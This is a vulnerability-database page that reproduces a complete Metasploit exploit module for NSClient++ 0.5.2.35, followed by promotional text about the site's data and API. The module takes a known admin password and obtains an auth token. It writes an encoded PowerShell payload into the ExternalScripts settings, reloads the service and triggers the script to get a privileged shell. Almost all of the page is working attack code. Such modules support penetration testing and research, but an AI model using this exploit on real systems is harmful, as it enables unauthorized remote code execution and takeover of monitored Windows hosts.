Lucene search
K

NSClient++ 0.5.2.35 Remote Code Execution Exploit

🗓️ 11 Jun 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 42 Views

NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution module allows an attacker with knowledge of the admin password of NSClient++ to start a privilege shell. Both web interface of NSClient++ and `ExternalScripts` feature should be enabled

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include ::Msf::Exploit::Remote::HttpClient
  include ::Msf::Exploit::CmdStager
  include ::Msf::Exploit::Powershell
  prepend ::Msf::Exploit::Remote::AutoCheck
  include ::Rex::Text

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with knowledge of the admin password of NSClient++
          to start a privilege shell.
          For this module to work, both web interface of NSClient++ and `ExternalScripts` feature
          should be enabled.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'kindredsec', # POC on www.exploit-db.com
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '48360']
          ],
        'Platform' => %w[windows],
        'Arch' => [ARCH_X64],
        'Targets' =>
          [
            [
              'Windows',
              {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Type' => :windows_powershell
              }
            ]
          ],
        'Privileged' => true,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          },
        'DefaultOptions' => { 'SSL' => true }
      )
    )

    register_options [
      Opt::RPORT(8443),
      OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])
    ]
  end

  def configure_payload(token, cmd, key)
    print_status('Configuring Script with Specified Payload . . .')

    plugin_id = rand(1..10000).to_s

    node = {
      'path' => '/settings/external scripts/scripts',
      'key' => key
    }
    value = { 'string_data' => cmd }
    update = { 'node' => node, 'value' => value }
    payload = [
      {
        'plugin_id' => plugin_id,
        'update' => update
      }
    ]
    json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

    r = send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })

    if !(r&.body.to_s.include? 'STATUS_OK')
      print_error('Error configuring payload. Hit error at: ' + endpoint)
    end

    print_status('Added External Script (name: ' + key + ')')
    sleep(3)
    print_status('Saving Configuration . . .')
    header = { 'version' => '1' }
    payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
    json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

    send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })
  end

  def reload_config(token)
    print_status('Reloading Application . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/core/reload')
    })

    print_status('Waiting for Application to reload . . .')
    sleep(10)
    response = false
    count = 0
    until response
      begin
        sleep(2)
        r = send_request_cgi({
          'method' => 'GET',
          'headers' => { 'TOKEN' => token },
          'uri' => normalize_uri('/')
        })
        if !r.body.empty?
          response = true
        end
      rescue StandardError
        count += 1
        if count > 10
          fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
        end
      end
    end
  end

  def trigger_payload(token, key)
    print_status('Triggering payload, should execute shortly . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri("/query/#{key}")
    })
  rescue StandardError => e
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def external_scripts_feature_enabled?(token)
    r = send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/registry/control/module/load'),
      'vars_get' => { 'name' => 'CheckExternalScripts' }
    })

    r&.body.to_s.include? 'STATUS_OK'
  end

  def get_auth_token
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])
    })

    if r.code == 200
      begin
        auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
        return auth_token
      rescue StandardError
        :no_token_found
      end
    else
      :wrong_password
    end
  rescue StandardError
    :failed_to_connect
  end

  def check
    token = get_auth_token

    if token == :failed_to_connect
      CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")
    elsif token == :wrong_password
      CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')
    elsif token == :no_token_found
      CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
    else
      print_good('Got auth token: ' + token)
      if external_scripts_feature_enabled?(token)
        CheckCode::Vulnerable('External scripts feature enabled !')
      else
        CheckCode::Safe('External scripts feature disabled !')
      end
    end
  end

  def exploit
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
    token = get_auth_token

    if token != :failed_to_connect && token != :wrong_password && token != :no_token_found
      rand_key = rand_text_alpha_lower(10)
      configure_payload(token, cmd, rand_key)
      reload_config(token)
      token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted
      trigger_payload(token, rand_key)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation